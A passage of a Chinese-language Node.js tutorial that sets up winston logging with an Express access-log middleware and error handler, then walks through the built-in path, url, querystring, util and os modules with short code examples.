  ]
})

// 如果不是生产环境,也在控制台打印,并开启颜色
if (process.env.NODE_ENV !== 'production') {
  logger.add(new winston.transports.Console({
    format: combine(
      colorize(),
      timestamp({ format: 'YYYY-MM-DD HH:mm:ss' }),
      consoleFormat
    )
  }))
}

export default logger

第三步:编写 HTTP 访问日志中间件 (src/middleware/httpLogger.js)

我们需要一个中间件,像保安一样,记录进出的每一个请求。

import logger from '../utils/logger.js'

export const httpLogger = (req, res, next) => {
  // 1. 记录请求开始时间
  const start = Date.now()

  // 2. 监听响应完成事件 (finish)
  res.on('finish', () => {
    // 计算耗时
    const duration = Date.now() - start
    
    // 获取 IP (兼容 Nginx 代理)
    const ip = req.headers['x-forwarded-for'] || req.socket.remoteAddress
    
    // 组装日志信息
    const logInfo = {
      method: req.method,
      url: req.originalUrl,
      status: res.statusCode,
      duration: `${duration}ms`,
      ip: ip,
      userAgent: req.headers['user-agent'] || ''
    }

    // 根据状态码决定日志级别
    if (res.statusCode >= 500) {
      logger.error('HTTP Request Error', logInfo)
    } else if (res.statusCode >= 400) {
      logger.warn('HTTP Client Error', logInfo)
    } else {
      logger.info('HTTP Access', logInfo)
    }
  })

  next()
}

第四步:集成到入口文件 (app.js)

我们需要把 httpLogger 放在所有路由的最前面,把错误记录放在所有路由的最后面

import express from 'express'
import logger from './utils/logger.js'         // 引入 logger
import { httpLogger } from './middleware/httpLogger.js' // 引入中间件
import HttpError from './utils/HttpError.js'

// ... 其他引入 (helmet, cors 等)

const app = express()

// ==========================================
// 1. 挂载访问日志中间件 (必须放在最前面)
// ==========================================
app.use(httpLogger)

// ... 其他中间件 (json, cors, helmet) ...

// ... 你的路由 (routes) ...
// app.use('/api/admin', adminRouter)
// app.use('/api/app', appRouter)


// ==========================================
// 2. 全局错误处理中间件 (必须放在最后)
// ==========================================
app.use((err, req, res, next) => {
  // 记录错误日志到文件
  logger.error(err.message, {
    stack: err.stack, // 记录堆栈信息,方便排查 Bug
    url: req.originalUrl,
    method: req.method,
    ip: req.ip
  })

  // 如果是我们自定义的 HttpError,返回对应的状态码
  if (err instanceof HttpError) {
    return res.status(err.code).json({
      code: err.code,
      message: err.message
    })
  }

  // 其它未知错误,统一报 500
  res.status(500).json({
    code: 500,
    message: '服务器内部错误,请联系管理员'
  })
})

const PORT = 3000
app.listen(PORT, () => {
  logger.info(`Server is running on port ${PORT}`) // 使用 logger 打印启动信息
})

第五步:效果演示

1. 启动项目

nodemon app.js

会发现项目根目录下多了一个 logs 文件夹,里面有 combined 和 error 两个子文件夹。

2. 发起一个正常请求 (GET /api/app/product/list)

  • 控制台:显示绿色的日志 [info]: HTTP Access {"method":"GET", "status": 200 ...}
  • 文件 (logs/combined/combined-2023-xx-xx.log):写入了一行 JSON 记录。

3. 发起一个错误请求 (密码错误 400 或 代码报错 500)

  • 文件 (logs/error/error-2023-xx-xx.log):会自动记录下详细的错误堆栈 stack,这对于排查线上问题至关重要,你再也不用盯着黑乎乎的控制台或者猜测报错原因了。

总结

通过引入 winston:

  1. 自动化:日志自动按天分割,自动压缩,不用担心磁盘写满。
  2. 结构化:日志以 JSON 格式存储,方便以后接入 ELK (Elasticsearch, Logstash, Kibana) 做可视化监控。
  3. 可追溯:任何报错都有时间、堆栈和请求参数,运维和排查效率提升 10 倍。

Node.js 工具模块详解

Node.js 提供了丰富的内置模块,帮助开发者高效处理各种常见任务。本文将详细介绍五个重要的工具模块:path(路径处理)、url(URL解析)、querystring(查询字符串)、util(工具函数)和 os(操作系统信息)。

一、path 模块:路径处理

path 模块提供了用于处理和转换文件路径的实用工具。它最大的优势是跨平台兼容性,能够自动处理不同操作系统的路径分隔符(Windows 使用 \,Unix/Linux/macOS 使用 /)。

1.1 引入模块

const path = require('path');

1.2 常用方法

path.join([...paths]) - 连接路径片段

将多个路径片段连接成一个完整的路径,自动处理路径分隔符和相对路径。

const path = require('path');

// 基本用法
console.log(path.join('/users', 'john', 'docs', 'file.txt'));
// Unix/Linux/macOS: /users/john/docs/file.txt
// Windows: 如果第一个参数是绝对路径,结果取决于平台

// 跨平台推荐用法(使用相对路径)
console.log(path.join('users', 'john', 'docs', 'file.txt'));
// 所有平台: users/john/docs/file.txt(相对路径)

// 使用 __dirname 构建绝对路径
console.log(path.join(__dirname, 'docs', 'file.txt'));
// 输出: 当前文件所在目录/docs/file.txt

// 处理相对路径
console.log(path.join('/foo', 'bar', 'baz/asdf', 'quux', '..'));
// 输出: /foo/bar/baz/asdf

// 处理当前目录和父目录
console.log(path.join(__dirname, '..', 'config', 'app.json'));
// 输出: 当前目录的父目录下的 config/app.json

path.resolve([...paths]) - 解析为绝对路径

将路径或路径片段解析为绝对路径。如果所有路径片段都是相对路径,则相对于当前工作目录解析。

const path = require('path');

// 从右到左处理路径,直到构造出绝对路径
console.log(path.resolve('foo/bar', '/tmp/file/', '..', 'a/../subfile'));
// 输出: /tmp/subfile

// 如果所有路径都是相对路径,则相对于当前工作目录
console.log(path.resolve('wwwroot', 'static_files/png/', '../gif/image.gif'));
// 如果当前目录是 /home/myself/node,则输出:
// /home/myself/node/wwwroot/static_files/gif/image.gif

// 常用:解析相对于当前文件的路径
const configPath = path.resolve(__dirname, 'config.json');

path.basename(path[, ext]) - 获取文件名

返回路径的最后一部分(文件名)。可选的 ext 参数用于去除文件扩展名。

const path = require('path');

console.log(path.basename('/foo/bar/baz/asdf/quux.html'));
// 输出: 'quux.html'

console.log(path.basename('/foo/bar/baz/asdf/quux.html', '.html'));
// 输出: 'quux'

// Windows 示例
console.log(path.basename('C:\\temp\\myfile.html'));
// 输出: 'myfile.html'

path.dirname(path) - 获取目录名

返回路径的目录部分。

const path = require('path');

console.log(path.dirname('/foo/bar/baz/asdf/quux.html'));
// 输出: '/foo/bar/baz/asdf'

console.log(path.dirname('/foo/bar/baz/asdf/quux'));
// 输出: '/foo/bar/baz/asdf'

path.extname(path) - 获取扩展名

返回路径中文件的扩展名(包括点号)。

const path = require('path');

console.log(path.extname('index.html'));
// 输出: '.html'

console.log(path.extname('index.coffee.md'));
// 输出: '.md'

console.log(path.extname('index.'));
// 输出: '.'

console.log(path.extname('index'));
// 输出: ''

path.parse(path) - 解析路径对象

将路径字符串解析为一个对象,包含 rootdirbaseextname 等属性。

const path = require('path');

const parsed = path.parse('/home/user/dir/file.txt');
console.log(parsed);
// 输出:
// {
//   root: '/',
//   dir: '/home/user/dir',
//   base: 'file.txt',
//   ext: '.txt',
//   name: 'file'
// }

// Windows 示例
const winParsed = path.parse('C:\\path\\dir\\file.txt');
console.log(winParsed);
// 输出:
// {
//   root: 'C:\\',
//   dir: 'C:\\path\\dir',
//   base: 'file.txt',
//   ext: '.txt',
//   name: 'file'
// }

path.format(pathObject) - 格式化路径对象

path.parse() 相反,将路径对象格式化为路径字符串。

const path = require('path');

const pathObject = {
  root: '/',
  dir: '/home/user/dir',
  base: 'file.txt',
  ext: '.txt',
  name: 'file'
};

console.log(path.format(pathObject));
// 输出: '/home/user/dir/file.txt'

path.normalize(path) - 规范化路径

规范化路径字符串,解析 ... 片段,并处理多余的路径分隔符。

const path = require('path');

console.log(path.normalize('/foo/bar//baz/asdf/quux/..'));
// 输出: '/foo/bar/baz/asdf'

console.log(path.normalize('C:\\temp\\\\foo\\bar\\..\\'));
// Windows 输出: 'C:\\temp\\foo\\'

path.isAbsolute(path) - 判断是否为绝对路径

判断路径是否为绝对路径。

const path = require('path');

console.log(path.isAbsolute('/foo/bar')); // true
console.log(path.isAbsolute('/baz/..'));  // true
console.log(path.isAbsolute('qux/'));     // false
console.log(path.isAbsolute('.'));        // false

// Windows
console.log(path.isAbsolute('C:\\foo'));  // true
console.log(path.isAbsolute('\\foo'));    // true

path.relative(from, to) - 计算相对路径

计算从 fromto 的相对路径。

const path = require('path');

console.log(path.relative('/data/orandea/test/aaa', '/data/orandea/impl/bbb'));
// 输出: '../../impl/bbb'

console.log(path.relative('C:\\orandea\\test\\aaa', 'C:\\orandea\\impl\\bbb'));
// Windows 输出: '..\\..\\impl\\bbb'

1.3 特殊变量

  • __dirname:当前模块的目录名(CommonJS)
  • __filename:当前模块的文件名(CommonJS)
const path = require('path');

// 获取当前文件的目录
console.log(__dirname);
// 输出: /path/to/current/directory

// 获取当前文件的完整路径
console.log(__filename);
// 输出: /path/to/current/directory/file.js

// 构建相对于当前文件的路径
const configPath = path.join(__dirname, 'config', 'app.json');

1.4 实用示例

const path = require('path');
const fs = require('fs').promises;

// 示例1:安全地构建文件路径
async function readConfig() {
  const configPath = path.join(__dirname, 'config', 'app.json');
  const data = await fs.readFile(configPath, 'utf8');
  return JSON.parse(data);
}

// 示例2:获取文件信息
function getFileInfo(filePath) {
  return {
    fullPath: path.resolve(filePath),
    dirname: path.dirname(filePath),
    basename: path.basename(filePath),
    extname: path.extname(filePath),
    name: path.basename(filePath, path.extname(filePath))
  };
}

console.log(getFileInfo('/home/user/docs/report.pdf'));
// 输出:
// {
//   fullPath: '/home/user/docs/report.pdf',
//   dirname: '/home/user/docs',
//   basename: 'report.pdf',
//   extname: '.pdf',
//   name: 'report'
// }

// 示例3:处理上传文件的扩展名
function isImageFile(filename) {
  const ext = path.extname(filename).toLowerCase();
  return ['.jpg', '.jpeg', '.png', '.gif', '.webp'].includes(ext);
}

console.log(isImageFile('photo.jpg'));  // true
console.log(isImageFile('document.pdf')); // false

二、url 模块:URL 解析

url 模块提供了用于解析和格式化 URL 的实用工具。Node.js 推荐使用 WHATWG URL API

2.1 引入模块

// WHATWG URL API(推荐)
const { URL, URLSearchParams } = require('url');

2.2 WHATWG URL API(推荐)

new URL(input[, base]) - 创建 URL 对象

const { URL } = require('url');

// 绝对 URL
const myURL = new URL('https://example.org:8080/p/a/t/h?query=string#hash');

console.log(myURL.href);        // 'https://example.org:8080/p/a/t/h?query=string#hash'
console.log(myURL.protocol);    // 'https:'
console.log(myURL.hostname);    // 'example.org'
console.log(myURL.port);        // '8080'
console.log(myURL.pathname);    // '/p/a/t/h'
console.log(myURL.search);      // '?query=string'
console.log(myURL.hash);        // '#hash'

// 相对 URL(需要提供 base)
const baseURL = 'https://example.org/foo/bar';
const relativeURL = new URL('../baz', baseURL);
console.log(relativeURL.href);  // 'https://example.org/foo/baz'

URL 对象属性

const { URL } = require('url');
const myURL = new URL('https://user:pass@sub.example.com:8080/p/a/t/h?query=string#hash');

console.log(myURL.protocol);    // 'https:'
console.log(myURL.username);    // 'user'
console.log(myURL.password);    // 'pass'
console.log(myURL.host);        // 'sub.example.com:8080'
console.log(myURL.hostname);    // 'sub.example.com'
console.log(myURL.port);        // '8080'
console.log(myURL.pathname);    // '/p/a/t/h'
console.log(myURL.search);      // '?query=string'
console.log(myURL.searchParams); // URLSearchParams 对象
console.log(myURL.hash);        // '#hash'
console.log(myURL.origin);      // 'https://sub.example.com:8080'

URLSearchParams - 查询参数处理

URLSearchParams 提供了强大的查询字符串操作方法。

const { URL, URLSearchParams } = require('url');

// 从 URL 对象获取查询参数
const myURL = new URL('https://example.com/?name=Kai&age=30&city=Beijing');
const params = myURL.searchParams;

// 获取参数值
console.log(params.get('name'));     // 'Kai'
console.log(params.get('age'));     // '30'
console.log(params.has('city'));    // true

// 设置参数
params.set('age', '31');
params.set('email', 'kai@example.com');

// 追加参数
params.append('hobby', 'coding');
params.append('hobby', 'reading');

// 删除参数
params.delete('city');

// 获取所有值
console.log(params.getAll('hobby')); // ['coding', 'reading']

// 遍历参数
for (const [key, value] of params) {
  console.log(`${key}: ${value}`);
}

// 转换为字符串
console.log(params.toString());
// 输出: 'name=Kai&age=31&email=kai%40example.com&hobby=coding&hobby=reading'

// 排序
params.sort();
console.log(params.toString());

独立使用 URLSearchParams

const { URLSearchParams } = require('url');

// 从字符串创建
const params1 = new URLSearchParams('foo=bar&abc=xyz&abc=123');
console.log(params1.get('foo'));      // 'bar'
console.log(params1.getAll('abc'));   // ['xyz', '123']

// 从对象创建
const params2 = new URLSearchParams({
  user: 'admin',
  password: 'secret123'
});
console.log(params2.toString());     // 'user=admin&password=secret123'

// 从 Map 创建
const map = new Map([
  ['name', 'John'],
  ['age', '30']
]);
const params3 = new URLSearchParams(map);
console.log(params3.toString());      // 'name=John&age=30'

2.3 实用示例

const { URL, URLSearchParams } = require('url');

// 示例1:构建带查询参数的 URL
function buildURL(baseURL, params) {
  const url = new URL(baseURL);
  Object.keys(params).forEach(key => {
    url.searchParams.set(key, params[key]);
  });
  return url.href;
}

console.log(buildURL('https://api.example.com/users', {
  page: '1',
  limit: '10',
  sort: 'name'
}));
// 输出: 'https://api.example.com/users?page=1&limit=10&sort=name'

// 示例2:解析和修改 URL
function updateURLPort(urlString, newPort) {
  const url = new URL(urlString);
  url.port = newPort;
  return url.href;
}

console.log(updateURLPort('https://example.com:8080/path', '3000'));
// 输出: 'https://example.com:3000/path'

// 示例3:验证 URL
function isValidURL(str) {
  try {
    new URL(str);
    return true;
  } catch {
    return false;
  }
}

console.log(isValidURL('https://example.com'));  // true
console.log(isValidURL('not-a-url'));           // false

// 示例4:提取域名
function getDomain(urlString) {
  const url = new URL(urlString);
  return url.hostname;
}

console.log(getDomain('https://www.example.com:8080/path?query=1'));
// 输出: 'www.example.com'

三、querystring 模块:查询字符串处理

querystring 模块提供了用于解析和格式化 URL 查询字符串的实用工具。虽然 URLSearchParams 更现代,但 querystring 模块在处理自定义分隔符时仍然有用。

3.1 引入模块

const querystring = require('querystring');

3.2 常用方法

querystring.parse(str[, sep[, eq[, options]]]) - 解析查询字符串

将查询字符串解析为对象。

const querystring = require('querystring');

// 基本用法
const qs = 'year=2017&month=february&day=15';
const parsed = querystring.parse(qs);
console.log(parsed);
// 输出: { year: '2017', month: 'february', day: '15' }
console.log(parsed.year);   // '2017'
console.log(parsed.month);   // 'february'

// 自定义分隔符
const customQS = 'year:2017;month:february';
const parsed2 = querystring.parse(customQS, ';', ':');
console.log(parsed2);
// 输出: { year: '2017', month: 'february' }

// 解码选项
const encodedQS = 'name=John%20Doe&city=New%20York';
const parsed3 = querystring.parse(encodedQS);
console.log(parsed3);
// 输出: { name: 'John Doe', city: 'New York' }

querystring.stringify(obj[, sep[, eq[, options]]]) - 序列化为查询字符串

将对象序列化为查询字符串。

const querystring = require('querystring');

// 基本用法
const obj = {
  year: 2017,
  month: 'february',
  day: 15
};
const qs = querystring.stringify(obj);
console.log(qs);
// 输出: 'year=2017&month=february&day=15'

// 自定义分隔符
const customQS = querystring.stringify(obj, ';', ':');
console.log(customQS);
// 输出: 'year:2017;month:february;day:15'

// 编码选项
const obj2 = {
  name: 'John Doe',
  city: 'New York'
};
const encodedQS = querystring.stringify(obj2);
console.log(encodedQS);
// 输出: 'name=John%20Doe&city=New%20York'

// 处理数组
const obj3 = {
  tags: ['nodejs', 'javascript', 'web']
};
console.log(querystring.stringify(obj3));
// 输出: 'tags=nodejs&tags=javascript&tags=web'

querystring.escape(str) - URL 编码

对字符串进行 URL 编码(通常不需要直接调用,stringify 会自动处理)。

const querystring = require('querystring');

console.log(querystring.escape('hello world'));
// 输出: 'hello%20world'

console.log(querystring.escape('foo@bar.com'));
// 输出: 'foo%40bar.com'

querystring.unescape(str) - URL 解码

对字符串进行 URL 解码(通常不需要直接调用,parse 会自动处理)。

const querystring = require('querystring');

console.log(querystring.unescape('hello%20world'));
// 输出: 'hello world'

console.log(querystring.unescape('foo%40bar.com'));
// 输出: 'foo@bar.com'

3.3 实用示例

const querystring = require('querystring');

// 示例1:解析 URL 查询字符串
function parseQueryString(urlString) {
  const queryString = urlString.split('?')[1] || '';
  return querystring.parse(queryString);
}

const url = 'https://example.com/search?q=nodejs&page=1&limit=10';
const params = parseQueryString(url);
console.log(params);
// 输出: { q: 'nodejs', page: '1', limit: '10' }

// 示例2:构建查询字符串
function buildQueryString(params) {
  return querystring.stringify(params);
}

const searchParams = {
  q: 'nodejs tutorial',
  page: 1,
  sort: 'relevance'
};
console.log(buildQueryString(searchParams));
// 输出: 'q=nodejs%20tutorial&page=1&sort=relevance'

// 示例3:合并查询参数
function mergeQueryParams(baseParams, newParams) {
  const merged = { ...baseParams, ...newParams };
  return querystring.stringify(merged);
}

const base = { page: 1, limit: 10 };
const additional = { sort: 'name', order: 'asc' };
console.log(mergeQueryParams(base, additional));
// 输出: 'page=1&limit=10&sort=name&order=asc'

// 示例4:处理嵌套对象(需要自定义序列化)
function stringifyNested(obj, prefix = '') {
  const pairs = [];
  for (const key in obj) {
    if (obj.hasOwnProperty(key)) {
      const value = obj[key];
      const newKey = prefix ? `${prefix}[${key}]` : key;
      
      if (typeof value === 'object' && value !== null && !Array.isArray(value)) {
        pairs.push(...stringifyNested(value, newKey));
      } else if (Array.isArray(value)) {
        value.forEach((item, index) => {
          pairs.push(`${newKey}[${index}]=${encodeURIComponent(item)}`);
        });
      } else {
        pairs.push(`${newKey}=${encodeURIComponent(value)}`);
      }
    }
  }
  return pairs;
}

const nested = {
  user: {
    name: 'John',
    age: 30
  },
  tags: ['nodejs', 'javascript']
};
console.log(stringifyNested(nested).join('&'));
// 输出: 'user[name]=John&user[age]=30&tags[0]=nodejs&tags[1]=javascript'

四、util 模块:工具函数

util 模块提供了多种实用工具函数,帮助开发者处理常见的编程任务,如类型检查、调试、Promise 转换等。

4.1 引入模块

const util = require('util');

4.2 常用方法

util.format(format[, ...args]) - 格式化字符串

返回格式化后的字符串,类似于 C 语言的 printf 函数。

const util = require('util');

// 基本用法
console.log(util.format('%s:%s', 'foo', 'bar'));
// 输出: 'foo:bar'

console.log(util.format('%d + %d = %d', 1, 2, 3));
// 输出: '1 + 2 = 3'

// 占位符
// %s - 字符串
// %d - 数字(整数或浮点数)
// %j - JSON
// %% - 百分号
console.log(util.format('Name: %s, Age: %d, Data: %j', 'John', 30, { city: 'NYC' }));
// 输出: 'Name: John, Age: 30, Data: {"city":"NYC"}'

// 如果没有提供格式字符串,则将所有参数用空格连接
console.log(util.format('Hello', 'World', 123));
// 输出: 'Hello World 123'

util.inspect(object[, options]) - 对象检查

返回对象的字符串表示,通常用于调试。这是 console.log 内部使用的方法。

const util = require('util');

const obj = {
  name: 'John',
  age: 30,
  nested: {
    city: 'NYC',
    hobbies: ['coding', 'reading']
  }
};

// 基本用法
console.log(util.inspect(obj));
// 输出: { name: 'John', age: 30, nested: { city: 'NYC', hobbies: [ 'coding', 'reading' ] } }

// 选项配置
console.log(util.inspect(obj, {
  colors: true,        // 使用颜色
  depth: 2,           // 最大递归深度
  compact: false,     // 每个属性一行
  showHidden: true,   // 显示不可枚举属性
  breakLength: 80     // 换行长度
}));

// 自定义 inspect 方法
class CustomObject {
  constructor(value) {
    this.value = value;
  }
  
  [util.inspect.custom]() {
    return `CustomObject(${this.value})`;
  }
}

const custom = new CustomObject(42);
console.log(util.inspect(custom));
// 输出: 'CustomObject(42)'

util.promisify(original) - Promise 化

将遵循错误优先回调风格的函数转换为返回 Promise 的函数。

const util = require('util');
const fs = require('fs');

// 将回调函数转换为 Promise
const readFile = util.promisify(fs.readFile);
const writeFile = util.promisify(fs.writeFile);

// 使用 async/await
async function readConfig() {
  try {
    const data = await readFile('config.json', 'utf8');
    return JSON.parse(data);
  } catch (error) {
    console.error('读取文件失败:', error);
    throw error;
  }
}

// 使用 .then()
readFile('data.txt', 'utf8')
  .then(data => console.log(data))
  .catch(err => console.error(err));

// 自定义 Promise 化函数
function customFunction(arg, callback) {
  setTimeout(() => {
    if (arg > 0) {
      callback(null, arg * 2);
    } else {
      callback(new Error('参数必须大于0'));
    }
  }, 100);
}

const promisifiedCustom = util.promisify(customFunction);

promisifiedCustom(5)
  .then(result => console.log(result))  // 输出: 10
  .catch(err => console.error(err));

util.callbackify(original) - 回调化

promisify 相反,将返回 Promise 的函数转换为使用回调的函数。

const util = require('util');
const fs = require('fs').promises;

// 将 Promise 函数转换为回调函数
const readFileCallback = util.callbackify(fs.readFile);

readFileCallback('file.txt', 'utf8', (err, data) => {
  if (err) {
    console.error('错误:', err);
    return;
  }
  console.log('数据:', data);
});

util.types - 类型检查

提供各种类型检查函数。

const util = require('util');

// 检查是否为数组
console.log(util.types.isArrayBuffer(new ArrayBuffer()));  // true
console.log(util.types.isArrayBuffer([]));                 // false

// 检查是否为 Date 对象
console.log(util.types.isDate(new Date()));                // true
console.log(util.types.isDate(Date.now()));                // false

// 检查是否为 Map
console.log(util.types.isMap(new Map()));                  // true

// 检查是否为 Set
console.log(util.types.isSet(new Set()));                  // true

// 检查是否为 Promise
console.log(util.types.isPromise(Promise.resolve()));     // true

// 检查是否为 RegExp
console.log(util.types.isRegExp(/abc/));                   // true

// 检查是否为 String 对象
console.log(util.types.isStringObject(new String('foo'))); // true
console.log(util.types.isStringObject('foo'));             // false

util.debuglog(section) - 调试日志

创建一个调试日志函数,仅在设置了 NODE_DEBUG 环境变量时才会输出日志。

const util = require('util');

const debuglog = util.debuglog('foo');

// 设置环境变量: NODE_DEBUG=foo node app.js
debuglog('Hello from foo [%d]', 123);
// 只有在设置了 NODE_DEBUG=foo 时才会输出

// 多个调试标签
const debug1 = util.debuglog('foo');
const debug2 = util.debuglog('bar');

debug1('这是 foo 的调试信息');
debug2('这是 bar 的调试信息');

// 运行: NODE_DEBUG=foo,bar node app.js

util.deprecate(fn, msg[, code]) - 标记为弃用

标记函数为已弃用,调用时会显示警告信息。

const util = require('util');

const deprecatedFunction = util.deprecate(() => {
  console.log('这个函数已被弃用');
}, 'deprecatedFunction() 已弃用,请使用 newFunction() 代替');

deprecatedFunction();
// 输出警告: (node:12345) DeprecationWarning: deprecatedFunction() 已弃用,请使用 newFunction() 代替

4.3 实用示例

const util = require('util');
const fs = require('fs');

// 示例1:深度克隆对象(使用 JSON 序列化,有局限性)
function deepClone(obj) {
  return JSON.parse(JSON.stringify(obj));
}
// 注意:此方法无法克隆函数、undefined、Symbol、Date 对象等
// 更好的方式:使用结构化克隆(Node.js 17+)或库如 lodash.cloneDeep

// 示例2:格式化错误对象
function formatError(error) {
  return util.inspect(error, {
    colors: true,
    depth: null
  });
}

try {
  throw new Error('Something went wrong');
} catch (err) {
  console.log(formatError(err));
}

// 示例3:批量 Promise 化
function promisifyAll(obj) {
  const promisified = {};
  for (const key in obj) {
    if (typeof obj[key] === 'function') {
      promisified[key] = util.promisify(obj[key].bind(obj));
    }
  }
  return promisified;
}

const fsPromises = promisifyAll(fs);
// 现在可以使用 fsPromises.readFile, fsPromises.writeFile 等

// 示例4:创建调试工具
function createDebugger(namespace) {
  const debug = util.debuglog(namespace);
  return {
    log: (...args) => debug(util.format(...args)),
    info: (...args) => debug(`[INFO] ${util.format(...args)}`),
    error: (...args) => debug(`[ERROR] ${util.format(...args)}`)
  };
}

const logger = createDebugger('app');
// 运行: NODE_DEBUG=app node app.js
logger.log('Application started');
logger.info('Processing request');
logger.error('An error occurred');

五、os 模块:操作系统信息

os 模块提供了与操作系统相关的信息和方法,允许开发者获取系统架构、平台、CPU 信息、内存使用情况、网络接口等。

5.1 引入模块

const os = require('os');

5.2 常用方法和属性

os.platform() - 获取操作系统平台

返回操作系统平台标识符。

const os = require('os');

console.log(os.platform());
// 可能的值:
// 'darwin' - macOS
// 'win32' - Windows
// 'linux' - Linux
// 'freebsd' - FreeBSD
// 'openbsd' - OpenBSD

os.arch() - 获取 CPU 架构

返回操作系统的 CPU 架构。

const os = require('os');

console.log(os.arch());
// 可能的值:
// 'x64' - 64位
// 'arm' - ARM
// 'arm64' - ARM 64位
// 'ia32' - 32位

os.cpus() - 获取 CPU 信息

返回每个逻辑 CPU 内核的信息数组。

const os = require('os');

const cpus = os.cpus();
console.log(`CPU 核心数: ${cpus.length}`);

cpus.forEach((cpu, index) => {
  console.log(`CPU ${index}:`);
  console.log(`  型号: ${cpu.model}`);
  console.log(`  速度: ${cpu.speed} MHz`);
  console.log(`  用户时间: ${cpu.times.user} ms`);
  console.log(`  系统时间: ${cpu.times.sys} ms`);
  console.log(`  空闲时间: ${cpu.times.idle} ms`);
});

// 计算 CPU 使用率
// 注意:此函数仅用于演示基本概念。实际应用中,CPU 使用率需要通过两次采样(间隔一段时间)来计算差值才能得到准确结果
function getCPUUsage() {
  const cpus = os.cpus();
  let totalIdle = 0;
  let totalTick = 0;
  
  cpus.forEach(cpu => {
    const times = cpu.times;
    totalIdle += times.idle;
    totalTick += times.user + times.nice + times.sys + times.idle + times.irq;
  });
  
  const idle = totalIdle / cpus.length;
  const total = totalTick / cpus.length;
  const usage = 100 - ~~(100 * idle / total);
  
  return usage;
}

os.totalmem() - 获取总内存

返回系统的总内存量(以字节为单位)。

const os = require('os');

const totalMem = os.totalmem();
console.log(`总内存: ${(totalMem / 1024 / 1024 / 1024).toFixed(2)} GB`);

os.freemem() - 获取空闲内存

返回系统的空闲内存量(以字节为单位)。

const os = require('os');

const freeMem = os.freemem();
console.log(`空闲内存: ${(freeMem / 1024 / 1024 / 1024).toFixed(2)} GB`);

// 计算内存使用率
function getMemoryUsage() {
  const total = os.totalmem();
  const free = os.freemem();
  const used = total - free;
  const usagePercent = (used / total * 100).toFixed(2);
  
  return {
    total: formatBytes(total),
    used: formatBytes(used),
    free: formatBytes(free),
    usagePercent: `${usagePercent}%`
  };
}

function formatBytes(bytes) {
  return `${(bytes / 1024 / 1024 / 1024).toFixed(2)} GB`;
}

os.hostname() - 获取主机名

返回操作系统的主机名。

const os = require('os');

console.log(os.hostname());
// 输出: 'my-computer'

os.type() - 获取操作系统类型

返回操作系统的类型。

const os = require('os');

console.log(os.type());
// 可能的值:
// 'Linux' - Linux
// 'Darwin' - macOS
// 'Windows_NT' - Windows

os.release() - 获取操作系统版本

返回操作系统的版本号。

const os = require('os');

console.log(os.release());
// 输出: '5.4.0-74-generic' (Linux)
// 或: '20.6.0' (macOS)
// 或: '10.0.19043' (Windows)

os.uptime() - 获取系统运行时间

返回系统的运行时间(以秒为单位)。

const os = require('os');

const uptime = os.uptime();
const days = Math.floor(uptime / 86400);
const hours = Math.floor((uptime % 86400) / 3600);
const minutes = Math.floor((uptime % 3600) / 60);
const seconds = uptime % 60;

console.log(`系统运行时间: ${days}${hours}小时 ${minutes}分钟 ${seconds}秒`);

os.homedir() - 获取用户主目录

返回当前用户的主目录路径。

const os = require('os');

console.log(os.homedir());
// Windows: 'C:\\Users\\username'
// Linux/macOS: '/home/username'

os.tmpdir() - 获取临时目录

返回操作系统的临时文件目录路径。

const os = require('os');

console.log(os.tmpdir());
// Windows: 'C:\\Users\\username\\AppData\\Local\\Temp'
// Linux: '/tmp'
// macOS: '/var/folders/...'

os.networkInterfaces() - 获取网络接口

返回网络接口信息对象。

const os = require('os');

const interfaces = os.networkInterfaces();

for (const name of Object.keys(interfaces)) {
  console.log(`接口: ${name}`);
  interfaces[name].forEach(iface => {
    // 兼容不同 Node.js 版本:family 可能是 'IPv4' 或 4
    const isIPv4 = iface.family === 'IPv4' || iface.family === 4;
    if (isIPv4 && !iface.internal) {
      console.log(`  IPv4: ${iface.address}`);
      console.log(`  子网掩码: ${iface.netmask}`);
    }
  });
}

// 获取本机 IP 地址
function getLocalIP() {
  const interfaces = os.networkInterfaces();
  for (const name of Object.keys(interfaces)) {
    for (const iface of interfaces[name]) {
      // 兼容不同 Node.js 版本:family 可能是 'IPv4' 或 4
      const isIPv4 = iface.family === 'IPv4' || iface.family === 4;
      if (isIPv4 && !iface.internal) {
        return iface.address;
      }
    }
  }
  return '127.0.0.1';
}

console.log(`本机 IP: ${getLocalIP()}`);

os.endianness() - 获取字节序

返回 CPU 的字节序。

const os = require('os');

console.log(os.endianness());
// 'BE' - 大端序
// 'LE' - 小端序(常见)

os.EOL - 行尾标识符

返回操作系统的行尾标识符。

const os = require('os');

console.log(os.EOL);
// Windows: '\r\n'
// Unix/Linux/macOS: '\n'

// 使用示例
const content = `第一行${os.EOL}第二行${os.EOL}第三行`;

5.3 实用示例

const os = require('os');

// 示例1:系统信息汇总
// 获取本机 IP 地址的辅助函数
function getLocalIP() {
  const interfaces = os.networkInterfaces();
  for (const name of Object.keys(interfaces)) {
    for (const iface of interfaces[name]) {
      // 兼容不同 Node.js 版本:family 可能是 'IPv4' 或 4
      const isIPv4 = iface.family === 'IPv4' || iface.family === 4;
      if (isIPv4 && !iface.internal) {
        return iface.address;
      }
    }
  }
  return '127.0.0.1';
}

function getSystemInfo() {
  return {
    platform: os.platform(),
    arch: os.arch(),
    hostname: os.hostname(),
    type: os.type(),
    release: os.release(),
    uptime: formatUptime(os.uptime()),
    cpus: {
      count: os.cpus().length,
      model: os.cpus()[0].model
    },
    memory: {
      total: formatBytes(os.totalmem()),
      free: formatBytes(os.freemem()),
      used: formatBytes(os.totalmem() - os.freemem()),
      usagePercent: ((os.totalmem() - os.freemem()) / os.totalmem() * 100).toFixed(2) + '%'
    },
    network: getLocalIP()
  };
}

function formatBytes(bytes) {
  const sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
  if (bytes === 0) return '0 B';
  const i = Math.floor(Math.log(bytes) / Math.log(1024));
  return Math.round(bytes / Math.pow(1024, i) * 100) / 100 + ' ' + sizes[i];
}

function formatUptime(seconds) {
  const days = Math.floor(seconds / 86400);
  const hours = Math.floor((seconds % 86400) / 3600);
  const minutes = Math.floor((seconds % 3600) / 60);
  return `${days}${hours}小时 ${minutes}分钟`;
}

console.log(getSystemInfo());

// 示例2:监控系统资源
// 计算 CPU 使用率的辅助函数(简化版本,实际使用时建议使用两次采样)
function getCPUUsage() {
  const cpus = os.cpus();
  let totalIdle = 0;
  let totalTick = 0;
  
  cpus.forEach(cpu => {
    const times = cpu.times;
    totalIdle += times.idle;
    totalTick += times.user + times.nice + times.sys + times.idle + times.irq;
  });
  
  const idle = totalIdle / cpus.length;
  const total = totalTick / cpus.length;
  const usage = 100 - ~~(100 * idle / total);
  
  return usage;
}

